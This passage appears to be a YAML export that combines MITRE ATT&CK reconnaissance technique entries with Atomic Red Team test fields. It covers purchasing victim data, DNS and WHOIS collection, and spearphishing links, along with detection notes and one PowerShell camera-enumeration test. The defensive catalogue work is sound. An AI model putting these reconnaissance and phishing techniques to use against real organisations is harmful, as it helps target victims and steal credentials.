x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1597.002: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f type: attack-pattern created: '2020-10-02T17:05:43.562Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1597.002 url: https://attack.mitre.org/techniques/T1597/002 - source_name: ZDNET Selling Data url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/ description: Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Purchase Technical Data description: |- Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1590.005: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3 type: attack-pattern created: '2020-10-02T15:59:11.695Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1590.005 url: https://attack.mitre.org/techniques/T1590/005 - source_name: WHOIS url: https://www.whois.net/ description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020. - source_name: DNS Dumpster url: https://dnsdumpster.com/ description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020. - source_name: Circl Passive DNS url: https://www.circl.lu/services/passive-dns/ description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: IP Addresses description: |- Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1590.002: technique: modified: '2022-10-21T14:32:48.393Z' name: DNS description: |- Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records) Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_platforms: - PRE x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_contributors: - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) type: attack-pattern id: attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea created: '2020-10-02T15:47:10.102Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1590/002 external_id: T1590.002 - source_name: Circl Passive DNS description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020. url: https://www.circl.lu/services/passive-dns/ - source_name: DNS Dumpster description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020. url: https://dnsdumpster.com/ - source_name: Sean Metcalf Twitter DNS Records description: Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved May 27, 2022. url: https://twitter.com/PyroTek3/status/1126487227712921600/photo/1 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1596.002: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f type: attack-pattern created: '2020-10-02T16:56:49.744Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1596.002 url: https://attack.mitre.org/techniques/T1596/002 - source_name: WHOIS url: https://www.whois.net/ description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: WHOIS description: |- Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1594: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26 type: attack-pattern created: '2020-10-02T16:51:50.306Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1594 url: https://attack.mitre.org/techniques/T1594 - source_name: Comparitech Leak url: https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/ description: Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Search Victim-Owned Websites description: |- Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Application Log: Application Log Content' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1596.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532 type: attack-pattern created: '2020-10-02T16:57:45.044Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1596.001 url: https://attack.mitre.org/techniques/T1596/001 - source_name: DNS Dumpster url: https://dnsdumpster.com/ description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020. - source_name: Circl Passive DNS url: https://www.circl.lu/services/passive-dns/ description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: DNS/Passive DNS description: |- Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1591.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f type: attack-pattern created: '2020-10-02T16:34:32.435Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1591.003 url: https://attack.mitre.org/techniques/T1591/003 - source_name: ThreatPost Broadvoice Leak url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/ description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Identify Business Tempo description: |- Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1592.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26 type: attack-pattern created: '2020-10-02T16:40:47.488Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1592.001 url: https://attack.mitre.org/techniques/T1592/001 - source_name: ATT ScanBox url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.' - source_name: ThreatConnect Infrastructure Dec 2020 url: https://threatconnect.com/blog/infrastructure-research-hunting/ description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' modified: '2022-04-25T14:00:00.188Z' name: 'Gather Victim Host Information: Hardware' description: |- Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Internet Scan: Response Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1592.001 atomic_tests: - name: Enumerate PlugNPlay Camera auto_generated_guid: d430bf85-b656-40e7-b238-42db01df0183 description: 'Enumerate PlugNPlay Camera using powershell commandlet. this technique was seen in dcrat malware backdoor capabilities where it enumerate the camera info mounted on the compromised host. reference: https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor ' supported_platforms: - windows executor: name: powershell elevation_required: true command: 'Get-CimInstance -Query "SELECT * FROM Win32_PnPEntity WHERE (PNPClass = ''Image'' OR PNPClass = ''Camera'')" ' T1598.003: technique: modified: '2024-04-19T13:26:16.082Z' name: Spearphishing Link description: |- Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries may also embed “tracking pixels”, "web bugs", or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP) Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022) Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor) Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_contributors: - Philip Winther - Sebastian Salla, McAfee - Menachem Goldstein - Robert Simmons, @MalwareUtkonos - Elpidoforos Maragkos, @emaragkos - Joas Antonio dos Santos, @C0d3Cr4zy - Austin Herrin - Obsidian Security - Sam Seabrook, Duke Energy x_mitre_deprecated: false x_mitre_detection: |- Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.6' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230 created: '2020-10-02T17:09:50.723Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1598/003 external_id: T1598.003 - source_name: ACSC Email Spoofing description: Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020. url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - source_name: TrendMictro Phishing description: Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020. url: https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html - source_name: IAPP description: IAPP. (n.d.). Retrieved March 5, 2024. url: https://iapp.org/resources/article/web-beacon/ - source_name: QR-campaign-energy-firm description: Jonathan Greig. (2023, August 16). Phishing campaign used QR codes to target large energy company. Retrieved November 27, 2023. url: https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm - source_name: PCMag FakeLogin description: Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020. url: https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages - source_name: Microsoft Anti Spoofing description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020. url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - source_name: Mr. D0x BitB 2022 description: mr.d0x. (2022, March 15). Browser In The Browser (BITB) Attack. Retrieved March 8, 2023. url: https://mrd0x.com/browser-in-the-browser-phishing-attack/ - source_name: Mandiant URL Obfuscation 2023 description: 'Nick Simonian. (2023, May 22). Don''t @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.' url: https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse - source_name: NIST Web Bug description: NIST Information Technology Laboratory. (n.d.). web bug. Retrieved March 22, 2023. url: https://csrc.nist.gov/glossary/term/web_bug - source_name: Proofpoint Human Factor description: 'Proofpoint. (n.d.). The Human Factor 2023: Analyzing the cyber attack chain. Retrieved July 20, 2023.' url: https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf - source_name: Ryte Wiki description: Ryte Wiki. (n.d.). Retrieved March 5, 2024. url: https://en.ryte.com/wiki/Tracking_Pixel - source_name: qr-phish-agriculture description: Tim Bedard and Tyler Johnson. (2023, October 4). QR Code Scams & Phishing. Retrieved November 27, 2023. url: https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing - source_name: ZScaler BitB 2020 description: ZScaler. (2020, February 11). Fake Sites Stealing Steam Credentials. Retrieved March 8, 2023. url: https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1590.004: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5 type: attack-pattern created: '2020-10-02T15:49:03.815Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1590.004 url: https://attack.mitre.org/techniques/T1590/004 - source_name: DNS Dumpster url: https://dnsdumpster.com/ description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Network Topology description: |- Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1590.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e type: attack-pattern created: '2020-10-02T15:47:59.457Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1590.003 url: https://attack.mitre.org/techniques/T1590/003 - source_name: Pentesting AD Forests url: https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019 description: García, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Network Trust Dependencies description: |- Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for 